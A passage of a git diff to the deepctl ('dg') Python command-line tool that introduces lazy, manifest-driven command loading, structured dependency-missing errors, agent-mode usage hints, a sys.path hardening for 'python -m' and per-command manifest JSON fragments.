@@ -120,6 +123,13 @@ dg = "deepctl.main:main"
 
 [tool.setuptools]
 package-dir = { "" = "src" }
+# build_py also assembles deepctl/_manifest.json from the command
+# fragments in src/deepctl/_manifest.d/ (deepctl/_manifest_build.py).
+cmdclass = { build_py = "deepctl._manifest_build.BuildPy" }
+
+[tool.setuptools.exclude-package-data]
+# The fragments are build input; wheels carry the assembled _manifest.json.
+deepctl = ["_manifest.d/*"]
 
 [tool.setuptools.packages.find]
 where = ["src"]
@@ -245,6 +255,9 @@ testing = [
     "pytest-mock>=3.10.0",
     "pytest-timeout>=2.3.1,<3",
     "responses>=0.23.0",
+    # tests/unit/test_manifest.py validates the command manifest against
+    # docs/contracts/*.schema.json.
+    "jsonschema>=4.18.0",
     "deepctl-plugin-example",
 ]
 dev = [
diff --git a/src/deepctl/__main__.py b/src/deepctl/__main__.py
index 0b6640a4..04a8800e 100644
--- a/src/deepctl/__main__.py
+++ b/src/deepctl/__main__.py
@@ -1,5 +1,24 @@
-"""``python -m deepctl``: the same entry point as the ``dg`` console script."""
+"""``python -m deepctl``: the same entry point as the ``dg`` console script.
+
+Usage lines say ``dg`` (not ``python -m deepctl``) unless
+``DEEPCTL_PROG_NAME`` names another program.
+
+``python -m`` puts the working directory first on ``sys.path`` (unless
+``-P``/``-I`` or ``PYTHONSAFEPATH`` is in effect). It is dropped here, so a
+``*.dist-info`` or module in the directory dg runs in can't register or
+shadow a plugin.
+"""
+
+import os
+import sys
+
+if not getattr(sys.flags, "safe_path", False) and sys.path:
+    try:
+        if sys.path[0] in ("", os.getcwd()):
+            del sys.path[0]
+    except OSError:  # the working directory is gone
+        del sys.path[0]
 
 from deepctl.main import main
 
-main()
+main(prog="dg")
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index 088ca493..ce9103d2 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -1,19 +1,25 @@
-"""The Click CLI behind ``dg``: the root group, plugin loading and ``run()``.
+"""The Click CLI behind ``dg``: the root group, command loading and ``run()``.
 
 ``deepctl.main`` imports this module only on the full path. ``dg --version``
 and the ``dg mcp`` handshake never load it (or Click, or ``deepctl_core``).
-Plugin commands load in ``run()``, inside its error handling, not at import.
+
+Commands load lazily. The root group is a ``LazyGroup``: it lists the
+built-in commands from the manifest (``deepctl._manifest``) and imports a
+command's module only when that command runs or shows its own help. Plugins
+are discovered only for a name that isn't built in, for root ``--help`` and
+for ``dg plugin list``. ``DEEPCTL_EAGER_LOAD=1`` (0.5.x only) loads every
+command up front, as 0.4.x did.
 """
 
 from __future__ import annotations
 
+import os
 import sys
 import time
-from typing import TYPE_CHECKING, Any
+from typing import TYPE_CHECKING, Any, cast
 
 import click
 from deepctl_core import (
-    Config,
     TimingContext,
     enable_timing,
     print_timing_summary,
@@ -21,11 +27,334 @@
 )
 from deepctl_core.output import stderr_console
 
-from deepctl import __version__
+from deepctl import __version__, _manifest
 
 if TYPE_CHECKING:
     from collections.abc import Callable
 
+    from deepctl_core import Config
+    from deepctl_core.plugin_manager import PluginManager
+
+# 0.5.x only: load every command at startup, as 0.4.x did (removed in 0.6.0).
+EAGER_LOAD_ENV_VAR = "DEEPCTL_EAGER_LOAD"
+# The program name shown in usage lines (the launcher and `python -m deepctl`
+# set it; `--version` ignores it).
+PROG_NAME_ENV_VAR = "DEEPCTL_PROG_NAME"
+
+E_DEPENDENCY = "{prog} {command_path} needs {dependency}, which isn't installed."
+H_DEPENDENCY_REINSTALL = "Reinstall {prog} with the tool you installed it with."
+A_DEPENDENCY = (
+    "Tell the user {prog} needs {dependency}. Suggested fix: {dependency_install_hint}"
+)
+# Agent-mode usage errors print ``ERROR: {message}`` and then this hint.
+A_USAGE = "Run {prog} {command_path} --help to see valid options."
+
+
+def eager_load_requested() -> bool:
+    """``DEEPCTL_EAGER_LOAD=1``: load every command up front (0.5.x only)."""
+    return os.environ.get(EAGER_LOAD_ENV_VAR, "") == "1"
+
+
+class DependencyMissingError(click.ClickException):
+    """A command's module couldn't be imported: ``dependency_missing``.
+
+    The catalogue entry: exit 1, ``next_step`` null and
+    ``details.dependency`` naming what is missing (the command's
+    distribution when its own package is gone).
+    """
+
+    exit_code = 1
+
+    def __init__(self, prog: str, command_path: str, dependency: str) -> None:
+        self.prog = prog
+        self.command_path = command_path
+        self.dependency = dependency
+        super().__init__(
+            E_DEPENDENCY.format(
+                prog=prog, command_path=command_path, dependency=dependency
+            )
+        )
+
+    def payload(self, hint: str) -> dict[str, Any]:
+        """The coded error object, keys in the catalogue's order."""
+        return {
+            "error": self.message,
+            "status": "error",
+            "code": "dependency_missing",
+            "hint": hint,
+            "next_step": None,
+            "schema_version": 1,
+            "details": {"dependency": self.dependency},
+        }
+
+    def show(self, file: Any = None) -> None:  # noqa: ARG002 (stderr/stdout)
+        from deepctl_core import output
+
+        install_hint = H_DEPENDENCY_REINSTALL.format(prog=self.prog)
+        if output.is_agentic() or output.is_ai_agent():
+            hint = A_DEPENDENCY.format(
+                prog=self.prog,
+                dependency=self.dependency,
+                dependency_install_hint=install_hint,
+            )
+        else:
+            hint = install_hint
+        from rich.markup import escape
+
+        # The program name comes from argv or DEEPCTL_PROG_NAME: text, not markup.
+        output.print_error(escape(self.message))
+        output.print_hint(escape(hint))
+        if output.get_output_format() in ("json", "yaml"):
+            payload = self.payload(hint)
+            if output.get_output_format() == "yaml":
+                import yaml
+
+                text = yaml.safe_dump(payload, sort_keys=False, allow_unicode=True)
+            else:
+                import json
+
+                text = json.dumps(payload, indent=2, ensure_ascii=False) + "\n"
+            try:
+                sys.stdout.write(text)
+                sys.stdout.flush()
+            except (OSError, ValueError):
+                pass
+
+
+def _missing_dependency(error: ImportError, entry: dict[str, Any]) -> str:
+    """What to name in ``dependency_missing``: the command's distribution when
+    its own package is what's missing, else the module that failed."""
+    missing = (error.name or "").split(".")[0]
+    own = str(entry["module"]).split(".")[0]
+    if not missing or missing == own:
+        return str(entry["dist"])
+    return missing
+
+
+def _setup_output_from(ctx: click.Context) -> None:
+    """Apply the root output options before the root callback has run
+    (commands are resolved before it), so an error renders as asked."""
+    params = ctx.find_root().params
+    setup_output(
+        format_type=params.get("output") or "default",
+        quiet=bool(params.get("quiet")),
+        verbose=bool(params.get("verbose")),
+    )
+
+
+class _Listed(click.Command):
+    """A command as root ``--help`` lists it, built from the manifest without
+    importing it. Only the attributes ``format_commands`` reads are set."""
+
+    def __init__(self, name: str, entry: dict[str, Any]) -> None:
+        super().__init__(
+            name,
+            short_help=entry.get("summary"),
+            help=entry.get("help"),
+            hidden=bool(entry.get("hidden", False)),
+            deprecated=entry.get("deprecated", False),
+        )
+
+
+class _MissingCommand(click.Command):
+    """A built-in subcommand whose module can't be imported. Hidden, as a
+    missing command was in 0.4.x; running it reports ``dependency_missing``."""
+
+    def __init__(self, name: str, error: DependencyMissingError) -> None:
+        super().__init__(name, hidden=True, add_help_option=False)
+        self.error = error
+
+    def make_context(
+        self,
+        info_name: str | None,
+        args: list[str],
+        parent: click.Context | None = None,
+        **extra: Any,
+    ) -> click.Context:
+        del info_name, args, extra  # nothing to parse: it can't run
+        if parent is not None:
+            _setup_output_from(parent)
+        raise self.error
+
+
+class LazyGroup(click.Group):
+    """The root group: built-in commands come from the manifest and load on
+    first use; plugins are discovered only when needed.
+
+    Discovery (``PluginManager.discover_plugins``) runs for a name that
+    isn't built in, for root ``--help``, for ``dg plugin list`` and for a
+    built-in name listed in ``plugins.allow_override``. Every 0.4.2 plugin
+    rule applies unchanged there: reserved built-in names,
+    ``W-PLUGIN-BADNAME``, ``plugins.allow_override`` and the trust root.
+    Built-ins are never loaded through an entry point: their module comes
+    from the manifest.
+    """
+
+    def __init__(self, *args: Any, **kwargs: Any) -> None:
+        super().__init__(*args, **kwargs)
+        self.eager = False
+        self._manager: PluginManager | None = None
+        self._discovered = False
+
+    def _plugin_manager(self) -> PluginManager:
+        if self._manager is None:
+            from deepctl_core.plugin_manager import PluginManager
+
+            self._manager = PluginManager()
+        return self._manager
+
+    def discover(self) -> None:
+        """Register plugin commands (once per process)."""
+        if self._discovered or self.eager:
+            return
+        self._discovered = True
+        with TimingContext("plugin_discovery"):
+            try:
+                self._plugin_manager().discover_plugins(self)
+            except OSError as exc:
+                from deepctl_core.plugin_manager import warn_plugins_unavailable
+
+                warn_plugins_unavailable(exc)
+
+    def _overridden(self, name: str) -> bool:
+        """Whether ``plugins.allow_override`` lists this built-in name."""
+        from deepctl_core._plugin_trust import allow_override_names
+
+        return name in allow_override_names()
+
+    def _load_builtin(self, ctx: click.Context, name: str) -> click.Command | None:
+        entry = _manifest.top_level()[name]
+        try:
+            with TimingContext(f"load_command_{name}"):
+                self._plugin_manager().load_builtin(self, name, entry)
+        except ImportError as exc:
+            _setup_output_from(ctx)
+            raise DependencyMissingError(
+                ctx.find_root().info_name or "dg",
+                name,
+                _missing_dependency(exc, entry),
+            ) from exc
+        command = self.commands.get(name)
+        if isinstance(command, click.Group):
+            self._fill_subcommands(ctx, name, command)
+        return command
+
+    def _fill_subcommands(
+        self, ctx: click.Context, group_name: str, group: click.Group
+    ) -> None:
+        """Load the group's built-in subcommands its entry point scan missed,
+        from the manifest; one that can't be imported reports
+        ``dependency_missing`` when it's used."""
+        from deepctl_core.plugin_manager import _load_error
+
+        prog = ctx.find_root().info_name or "dg"
+        for name, entry in _manifest.subcommands(group_name).items():
+            if name in group.commands:
+                continue
+            try:
+                self._plugin_manager().load_builtin_subcommand(
+                    group, group_name, name, entry
+                )
+            except ImportError as exc:
+                group.add_command(
+                    _MissingCommand(
+                        name,
+                        DependencyMissingError(
+                            prog,
+                            f"{group_name} {name}",
+                            _missing_dependency(exc, entry),
+                        ),
+                    )
+                )
+            except Exception as exc:
+                _load_error("subcommand", f"{name} for {group_name}", exc)
+
+    def get_command(self, ctx: click.Context, cmd_name: str) -> click.Command | None:
+        command = self.commands.get(cmd_name)
+        if command is not None or self.eager:
+            return command
+        if cmd_name in _manifest.top_level():
+            if self._overridden(cmd_name):
+                self.discover()
+                command = self.commands.get(cmd_name)
+                if command is not None:
+                    return command
+            return self._load_builtin(ctx, cmd_name)
+        self.discover()
+        return self.commands.get(cmd_name)
+
+    def list_commands(self, ctx: click.Context) -> list[str]:
+        if self.eager:
+            return super().list_commands(ctx)
+        if ctx.resilient_parsing:
+            # Shell completion offers plugin commands too, as 0.4.x did.
+            self.discover()
+        return sorted(set(self.commands) | set(_manifest.top_level()))
+
+    def resolve_command(
+        self, ctx: click.Context, args: list[str]
+    ) -> tuple[str | None, click.Command | None, list[str]]:
+        if args:
+            args = self._expand_command_word(ctx, args)
+        if args[:2] == ["plugin", "list"]:
+            # 0.4.x loaded (and vetted) every plugin before `plugin list`.
+            self.discover()
+        return super().resolve_command(ctx, args)
+
+    def _expand_command_word(self, ctx: click.Context, args: list[str]) -> list[str]:
+        """Rewrite a hyphenated command word to its command path.
+
+        Only the command word changes; the rest of argv is the command's own
+        as in 0.4.x. A hidden alias (``debug-audio``) always means its built-in,
+        unless ``plugins.allow_override`` lists the alias. Any other
+        ``<group>-<x>`` runs ``<group> <x>`` when ``<group>`` is a built-in
+        group and ``<x>`` is one of its subcommands, a plugin's included
+        (0.4.2 parity); otherwise argv is left for unknown-name discovery.
+        """
+        word = args[0]
+        if word in _manifest.top_level():
+            return args
+        target = _manifest.aliases().get(word)
+        if target is not None:
+            if self._overridden(word):
+                # The plugin allowed to replace the alias runs, if one did
+                # register it; otherwise the built-in does, as for names.
+                self.discover()
+                if word in self.commands:
+                    return args
+            return [*target, *args[1:]]
+        prefix, _, rest = word.partition("-")
+        if rest and prefix in _manifest.groups():
+            try:
+                group = self.get_command(ctx, prefix)
+            except DependencyMissingError:
+                # The group can't load: leave the word to plugin discovery.
+                return args
+            if isinstance(group, click.Group) and group.get_command(ctx, rest):
+                return [prefix, rest, *args[1:]]
+        return args
+
+    def format_commands(
+        self, ctx: click.Context, formatter: click.HelpFormatter
+    ) -> None:
+        if self.eager:
+            super().format_commands(ctx, formatter)
+            return
+        self.discover()
+        listed = _manifest.top_level()
+        rows: list[tuple[str, click.Command]] = []
+        for name in self.list_commands(ctx):
+            command = self.commands.get(name) or _Listed(name, listed[name])
+            if not command.hidden:
+                rows.append((name, command))
+        if rows:
+            limit = formatter.width - 6 - max(len(name) for name, _ in rows)
+            with formatter.section("Commands"):
+                formatter.write_dl(
+                    [(name, cmd.get_short_help_str(limit)) for name, cmd in rows]
+                )
+
+
 # Diagnostics go to stderr so stdout carries only the requested payload -- a
 # crash or usage error must not corrupt `dg -o json ...` for a script piping
 # stdout into jq. Same console the command layer uses via print_error(), so
@@ -40,6 +369,8 @@ def _record_install_method_cb(
     """Write the installation method to config. Called by install scripts."""
     if not value or ctx.resilient_parsing:
         return
+    from deepctl_core import Config
+
     try:
         config = Config()
         config._set_config_value("update.installation_method", value)
@@ -86,77 +417,6 @@ def _takes_next_token(arg: str, flag_opts: set[str]) -> bool:
     return False
 
 
-def preprocess_hyphenated_commands(args: list[str]) -> list[str]:
-    """Convert hyphenated commands to nested commands.
-
-    This function looks for commands in the format 'group-subcommand' and
-    converts them to the nested format Click expects (e.g., 'group
-    subcommand').
-
-    Args:
-        args: Command line arguments
-
-    Returns:
-        Modified arguments with hyphenated commands converted to nested format
-    """
-    if not args:
-        return args
-
-    # Get all registered commands to know which are groups
-    from importlib import metadata
-
-    group_commands = set()
-
-    # Discover group commands from entry points
-    try:
-        entry_points = metadata.entry_points()
-        for entry_point in entry_points.select(group="deepctl.commands"):
-            # We'll need to check if it's a group, but for now we'll use a
-            # heuristic
-            subcommand_group = f"deepctl.subcommands.{entry_point.name}"
-            try:
-                subcommand_eps = list(entry_points.select(group=subcommand_group))
-                if subcommand_eps:
-                    group_commands.add(entry_point.name)
-            except Exception:
-                pass
-    except Exception:
-        pass
-
-    flag_opts = _root_flag_opts()
-
-    # Walk the root options to find the command token. Only that token is
-    # expanded; everything after it belongs to the command and is kept
-    # verbatim (`dg listen debug-call.wav` must not be split).
-    new_args: list[str] = []
-    i = 0
-    while i < len(args):
-        arg = args[i]
-        if arg == "--":
-            break
-        if arg.startswith("-"):
-            new_args.append(arg)
-            i += 1
-            # An option that takes a value consumes the next token too,
-            # unless the value is attached (`--opt=value`, `-Xvalue`).
-            if (
-                _takes_next_token(arg, flag_opts)
-                and i < len(args)
-                and not args[i].startswith("-")
-            ):
-                new_args.append(args[i])
-                i += 1
-            continue
-
-        group_name, sep, subcommand = arg.partition("-")
-        if sep and group_name in group_commands:
-            new_args.extend([group_name, subcommand])
-            i += 1
-        break
-
-    return new_args + args[i:]
-
-
 def _root_option_tokens(args: list[str]) -> list[str]:
     """The option tokens before the subcommand (values skipped)."""
     flag_opts = _root_flag_opts()
@@ -252,7 +512,7 @@ def _argv_config_path(args: list[str]) -> str | None:
 
 
 # Create CLI group
-@click.group(name="deepctl")
+@click.group(name="deepctl", cls=LazyGroup)
 @click.version_option(version=__version__, prog_name="deepctl")
 @click.option(
     "--config",
@@ -373,6 +633,8 @@ def cli(
         # came from the command line, so it is never saved and gets
         # credentials only if the host is trusted.
         ctx.ensure_object(dict)
+        from deepctl_core import Config
+
         try:
             ctx.obj["config"] = Config(
                 config_path=config, profile=profile, base_url=base_url
@@ -405,10 +667,12 @@ def cli(
 
 
 def load_commands() -> None:
-    """Load the commands from package entry points into ``cli``, once.
+    """Load every command into ``cli`` up front, once, as 0.4.x did.
 
-    Runs inside ``run()``'s error handling (W1.3), so an unreadable HOME or
-    plugin cache degrades to one ``WARN:`` line instead of a traceback.
+    For ``DEEPCTL_EAGER_LOAD=1`` and for importers that read ``cli.commands``
+    (``get_cli()``). Runs inside ``run()``'s error handling, so an
+    unreadable HOME or plugin cache degrades to one ``WARN:`` line instead
+    of a traceback.
     """
     global _commands_loaded
     if _commands_loaded:
@@ -416,6 +680,7 @@ def load_commands() -> None:
     _commands_loaded = True
     from deepctl_core import PluginManager
 
+    cli.eager = True
     with TimingContext("plugin_loading"):
         try:
             PluginManager().load_plugins(cli)
@@ -425,13 +690,32 @@ def load_commands() -> None:
             warn_plugins_unavailable(exc)
 
 
-def get_cli() -> click.Group:
-    """The root group with its commands loaded (for importers and tests)."""
+def get_cli() -> LazyGroup:
+    """The root group with every command loaded (for importers and tests)."""
     load_commands()
     return cli
 
 
-def _global_option_hint(message: str) -> str | None:
+def _command_names(ctx: click.Context | None) -> tuple[str, str]:
+    """``(root, command)`` for ``ctx``: the program name as typed (or
+    ``DEEPCTL_PROG_NAME``) and the subcommand path after it ("" at the root)."""
+    if ctx is None:
+        return prog_name("dg") or "dg", ""
+    root = ctx.find_root().info_name or prog_name("dg") or "dg"
+    path = ctx.command_path
+    command = path[len(root) :].strip() if path.startswith(root) else ""
+    return root, command
+
+
+def _usage_hint(ctx: click.Context | None) -> str:
+    """``A-USAGE`` filled for ``ctx``, with no double space at the root."""
+    root, command = _command_names(ctx)
+    return " ".join(A_USAGE.format(prog=root, command_path=command).split())
+
+
+def _global_option_hint(
+    message: str, ctx: click.Context | None = None, *, markup: bool = True
+) -> str | None:
     """Build a placement hint when a 'No such option' names a global option.
 
     Global options belong before the subcommand (``dg -o json models``).
@@ -439,7 +723,8 @@ def _global_option_hint(message: str) -> str | None:
     staging``), Click reports "No such option" with no explanation, which
     reads as if the option does not exist at all. This looks the failing
     option up on the root group and, when it is a global one, returns a
-    hint showing the working placement.
+    hint showing the working placement, with the root and subcommand names
+    taken from ``ctx``.
     """
     import re
 
@@ -455,11 +740,16 @@ def _global_option_hint(message: str) -> str | None:
         if token in opts:
             takes_value = not getattr(param, "is_flag", False)
             usage = f"{token} <value>" if takes_value else token
-            return (
-                f"[yellow]Hint: '{token}' is a global option and must come "
-                f"before the subcommand, for example: "
-                f"dg {usage} <command> ...[/yellow]"
+            root, command = _command_names(ctx)
+            text = (
+                f"{token} is a global option, so it goes before the command: "
+                f"{root} {usage} {command or '<command>'} …"
             )
+            if not markup:
+                return text
+            from rich.markup import escape
+
+            return f"[yellow]Hint: {escape(text)}[/yellow]"
     return None
 
 
@@ -477,6 +767,26 @@ def _safe_console_print(message: str) -> None:
         pass
 
 
+def _print_usage(ctx: click.Context | None) -> None:
+    """Click's usage line and "Try ... --help" before a usage error, so the
+    program name a user typed (or ``DEEPCTL_PROG_NAME``) shows up.
+
+    People only: in agent mode ``run()`` prints its two prefixed lines and
+    exits before this is called.
+    """
+    if ctx is None:
+        return
+    try:
+        lines = ctx.get_usage()
+        if ctx.command.get_help_option(ctx) is not None:
+            lines += (
+                f"\nTry '{ctx.command_path} {ctx.help_option_names[0]}' for help.\n"
+            )
+        click.echo(lines, err=True, color=ctx.color)
+    except (OSError, ValueError):
+        pass
+
+
 def _best_effort(notice: Callable[..., object], **kwargs: Any) -> None:
     """Run a startup check or notice; an unreadable cache skips it."""
     try:
@@ -485,6 +795,47 @@ def _best_effort(notice: Callable[..., object], **kwargs: Any) -> None:
         pass
 
 
+def _start_checks(quiet: bool) -> list[Callable[[], object]]:
+    """Start the background update, plugin-update and AI-CLI checks; return
+    the functions that print what they found."""
+    pending: list[Callable[[], object]] = []
+    try:
+        from deepctl_cmd_update.startup_check import (
+            check_and_notify,
+            print_pending_notification,
+        )
+
+        _best_effort(check_and_notify, quiet=quiet)
+        pending.append(print_pending_notification)
+    except ImportError:
+        pass
+
+    try:
+        from deepctl_cmd_update.plugin_update_check import (
+            check_plugins_and_notify,
+            print_pending_plugin_notifications,
+        )
+
+        _best_effort(check_plugins_and_notify, quiet=quiet)
+        pending.append(print_pending_plugin_notifications)
+    except ImportError:
+        pass
+
+    try:
+        from deepctl_cmd_skills.startup_check import (
+            check_and_notify as skills_check_and_notify,
+        )
+        from deepctl_cmd_skills.startup_check import (
+            print_pending_notification as print_pending_skills_notification,
+        )
+
+        _best_effort(skills_check_and_notify, quiet=quiet)
+        pending.append(print_pending_skills_notification)
+    except ImportError:
+        pass
+    return pending
+
+
 def _record_startup(started_at: float) -> None:
     """Add process startup (from ``main()``'s first line) to ``--timing``."""
     from deepctl_core.timing import TimingEntry, get_timing_collector
@@ -494,11 +845,45 @@ def _record_startup(started_at: float) -> None:
     get_timing_collector().entries[entry.name] = entry
 
 
-def run(args: list[str], started_at: float | None = None) -> None:
+class _HelpConfig:
+    """What the telemetry notice reads for root ``--help``: the config file
+    path, with the text left for it to read. Root ``--help`` runs before the
+    root callback builds a ``Config``, and loading one there would cost the
+    pydantic import that ``dg --help`` otherwise never pays."""
+
+    def __init__(self, config_path: str | None) -> None:
+        from pathlib import Path
+
+        self.config_path = Path(config_path) if config_path else None
+        self.user_config_text = None
+
+
+def _is_help_run(args: list[str]) -> bool:
+    """Whether ``--help`` appears among the options (before any ``--``)."""
+    words = args[: args.index("--")] if "--" in args else args
+    return "--help" in words
+
+
+def prog_name(default: str | None = None) -> str | None:
+    """The program name for usage lines: ``DEEPCTL_PROG_NAME`` when it is
+    a plain program name (``deepctl.main.prog_name_from_env``), else
+    ``default`` (``None`` lets Click use ``argv[0]``)."""
+    from deepctl.main import prog_name_from_env
+
+    return prog_name_from_env() or default
+
+
+def run(
+    args: list[str],
+    started_at: float | None = None,
+    prog: str | None = None,
+) -> None:
     """Run the CLI for ``args`` (argv without the program name).
 
     ``started_at`` is ``time.perf_counter()`` from the first line of
-    ``deepctl.main.main()``, so ``--timing`` includes the imports.
+    ``deepctl.main.main()``, so ``--timing`` includes the imports. ``prog``
+    is the program name to show when ``DEEPCTL_PROG_NAME`` isn't set
+    (``python -m deepctl`` passes ``dg``).
     """
     global _run_args
     if started_at is None:
@@ -514,7 +899,8 @@ def run(args: list[str], started_at: float | None = None) -> None:
             enable_timing()
             _record_startup(started_at)
 
-        load_commands()
+        if eager_load_requested():
+            load_commands()
 
         # Install the --help telemetry footer. Telemetry itself is decided in
         # the root callback, after option parsing. `--no-telemetry` is also
@@ -524,54 +910,25 @@ def run(args: list[str], started_at: float | None = None) -> None:
 
             if "--no-telemetry" in _root_option_tokens(args):
                 disable_for_run()
-            install_help_notice(lambda: Config(config_path=_argv_config_path(args)))
+            install_help_notice(
+                lambda: cast("Config", _HelpConfig(_argv_config_path(args)))
+            )
         except Exception:
             pass
 
-        # Start background update checks (non-blocking)
-        try:
-            from deepctl_cmd_update.startup_check import (
-                check_and_notify,
-                print_pending_notification,
-            )
-
-            _best_effort(check_and_notify, quiet=quiet_requested)
-        except ImportError:
-            check_and_notify = None  # type: ignore[assignment]
-            print_pending_notification = None  # type: ignore[assignment]
-
-        try:
-            from deepctl_cmd_update.plugin_update_check import (
-                check_plugins_and_notify,
-                print_pending_plugin_notifications,
-            )
-
-            _best_effort(check_plugins_and_notify, quiet=quiet_requested)
-        except ImportError:
-            print_pending_plugin_notifications = None  # type: ignore[assignment]
-
-        # Start background AI CLI detection (non-blocking)
-        try:
-            from deepctl_cmd_skills.startup_check import (
-                check_and_notify as skills_check_and_notify,
-            )
-            from deepctl_cmd_skills.startup_check import (
-                print_pending_notification as print_pending_skills_notification,
-            )
-
-            _best_effort(skills_check_and_notify, quiet=quiet_requested)
-        except ImportError:
-            print_pending_skills_notification = None  # type: ignore[assignment]
+        # Background update and AI-CLI checks (non-blocking). Not for help,
+        # which makes no network connection and prints only the help.
+        pending = [] if _is_help_run(args) else _start_checks(quiet_requested)
 
         with TimingContext("total_execution"):
-            with TimingContext("argument_preprocessing"):
-                # Preprocess arguments to handle hyphenated commands
-                processed_args = preprocess_hyphenated_commands(args)
-
             exit_code = 0
             with TimingContext("cli_execution"):
                 try:
-                    cli(args=processed_args, standalone_mode=False)
+                    cli(
+                        args=list(args),
+                        prog_name=prog_name(prog),
+                        standalone_mode=False,
+                    )
                 except SystemExit as exc:
                     # Click calls sys.exit() even in non-standalone mode, so we
                     # cannot let this propagate — the notifications and timing
@@ -582,12 +939,8 @@ def run(args: list[str], started_at: float | None = None) -> None:
                     exit_code = exc.code if isinstance(exc.code, int) else 0
 
         # Print update notifications if available (before timing summary)
-        if print_pending_notification is not None:
-            _best_effort(print_pending_notification)
-        if print_pending_plugin_notifications is not None:
-            _best_effort(print_pending_plugin_notifications)
-        if print_pending_skills_notification is not None:
-            _best_effort(print_pending_skills_notification)
+        for print_pending in pending:
+            _best_effort(print_pending)
 
         # Print timing summary if timing was enabled
         if timing_requested:
@@ -608,11 +961,35 @@ def run(args: list[str], started_at: float | None = None) -> None:
         # after the subcommand, where Click says "No such option" about an
         # option that very much exists.
         message = e.format_message()
-        _safe_console_print(f"[red]Error: {message}[/red]")
-        hint = _global_option_hint(message)
+        from deepctl_core.output import is_agentic
+
+        if is_agentic():
+            # Agent mode: exactly two prefixed lines (ERROR:, HINT:) and no
+            # Usage/Try lines. A global option after the command gets its
+            # placement hint in place of the generic one.
+            hint = _global_option_hint(message, e.ctx, markup=False)
+            lines = [f"ERROR: {message}", f"HINT: {hint or _usage_hint(e.ctx)}"]
+            try:
+                click.echo("\n".join(lines), err=True, color=False)
+            except (OSError, ValueError):
+                pass
+            sys.exit(1)
+        _print_usage(e.ctx)
+        from rich.markup import escape
+
+        # The message quotes what was typed: text, not markup.
+        _safe_console_print(f"[red]Error: {escape(message)}[/red]")
+        hint = _global_option_hint(message, e.ctx)
         if hint:
             _safe_console_print(hint)
         sys.exit(1)
+    except DependencyMissingError as e:
+        # The install is incomplete; nothing unexpected to report.
+        try:
+            e.show()
+        except (OSError, ValueError):
+            pass
+        sys.exit(e.exit_code)
     except Exception as e:
         _safe_console_print(f"[red]Error: {e}[/red]")
         _report_error(e)
diff --git a/src/deepctl/_manifest.d/api.json b/src/deepctl/_manifest.d/api.json
new file mode 100644
index 00000000..48ef6c08
--- /dev/null
+++ b/src/deepctl/_manifest.d/api.json
@@ -0,0 +1,9 @@
+{
+  "name": "api",
+  "module": "deepctl_cmd_api.command",
+  "attr": "ApiCommand",
+  "dist": "deepctl-cmd-api",
+  "summary": "Make API requests",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/billing.json b/src/deepctl/_manifest.d/billing.json
new file mode 100644
index 00000000..93b20298
--- /dev/null
+++ b/src/deepctl/_manifest.d/billing.json
@@ -0,0 +1,9 @@
+{
+  "name": "billing",
+  "module": "deepctl_cmd_billing.command",
+  "attr": "BillingCommand",
+  "dist": "deepctl-cmd-billing",
+  "summary": "Billing info",
+  "hidden": false,
+  "requires_auth": true
+}
diff --git a/src/deepctl/_manifest.d/completion.json b/src/deepctl/_manifest.d/completion.json
new file mode 100644
index 00000000..4549fe57
--- /dev/null
+++ b/src/deepctl/_manifest.d/completion.json
@@ -0,0 +1,9 @@
+{
+  "name": "completion",
+  "module": "deepctl_cmd_completion.command",
+  "attr": "CompletionCommand",
+  "dist": "deepctl-cmd-completion",
+  "summary": "Generate shell completion",
+  "hidden": false,
+  "requires_auth": false
+}
diff --git a/src/deepctl/_manifest.d/debug-audio.json b/src/deepctl/_manifest.d/debug-audio.json
new file mode 100644
index 00000000..f72e85b7
--- /dev/null
+++ b/src/deepctl/_manifest.d/debug-audio.json
@@ -0,0 +1,13 @@
+{
+  "name": "audio",
+  "parent": "debug",
+  "module": "deepctl_cmd_debug_audio.command",
+  "attr": "AudioCommand",
+  "dist": "deepctl-cmd-debug-audio",
+  "summary": "Debug audio issues",
+  "hidden": false,
+  "requires_auth": false,
+  "aliases": [
+    "debug-audio"
+  ]
+}
diff --git a/src/deepctl/_manifest.d/debug-browser.json b/src/deepctl/_manifest.d/debug-browser.json
new file mode 100644
index 00000000..55cea88e
--- /dev/null
+++ b/src/deepctl/_manifest.d/debug-browser.json
@@ -0,0 +1,13 @@
+{
+  "name": "browser",
+  "parent": "debug",
+  "module": "deepctl_cmd_debug_browser.command",
+  "attr": "BrowserCommand",
+  "dist": "deepctl-cmd-debug-browser",
+  "summary": "Debug browser capabilities",
+  "hidden": false,
+  "requires_auth": false,
+  "aliases": [
+    "debug-browser"
+  ]
+}
diff --git a/src/deepctl/_manifest.d/debug-network.json b/src/deepctl/_manifest.d/debug-network.json
new file mode 100644
index 00000000..3f9db56f
--- /dev/null
+++ b/src/deepctl/_manifest.d/debug-network.json
@@ -0,0 +1,13 @@
+{
+  "name": "network",
+  "parent": "debug",
+  "module": "deepctl_cmd_debug_network.command",
+  "attr": "NetworkCommand",
+  "dist": "deepctl-cmd-debug-network",
+  "summary": "Debug network issues",
+  "hidden": false,
+  "requires_auth": false,
+  "aliases": [
+    "debug-network"
+  ]
+}
diff --git a/src/deepctl/_manifest.d/debug-probe.json b/src/deepctl/_manifest.d/debug-probe.json
new file mode 100644
index 00000000..7fea673e
--- /dev/null
+++ b/src/deepctl/_manifest.d/debug-probe.json
@@ -0,0 +1,13 @@
+{
+  "name": "probe",
+  "parent": "debug",
+  "module": "deepctl_cmd_debug_probe.command",
+  "attr": "ProbeCommand",
+  "dist": "deepctl-cmd-debug-probe",
+  "summary": "Stream probe proxy",
+  "hidden": false,
+  "requires_auth": true,
+  "aliases": [
+    "debug-probe"
+  ]
+}
diff --git a/src/deepctl/_manifest.d/debug-toolkit.json b/src/deepctl/_manifest.d/debug-toolkit.json
new file mode 100644
index 00000000..763f03f8
--- /dev/null
+++ b/src/deepctl/_manifest.d/debug-toolkit.json
@@ -0,0 +1,13 @@
+{
+  "name": "toolkit",
+  "parent": "debug",
+  "module": "deepctl_cmd_debug_toolkit.command",
+  "attr": "ToolkitCommand",
+  "dist": "deepctl-cmd-debug-toolkit",
+  "summary": "Field support scripts (deepgram/support-toolkit)",
+  "hidden": false,
+  "requires_auth": false,
+  "aliases": [
+    "debug-toolkit"
+  ]
+}
diff --git a/src/deepctl/_manifest.d/debug.json b/src/deepctl/_manifest.d/debug.json
new file mode 100644
index 00000000..06687e31
--- /dev/null
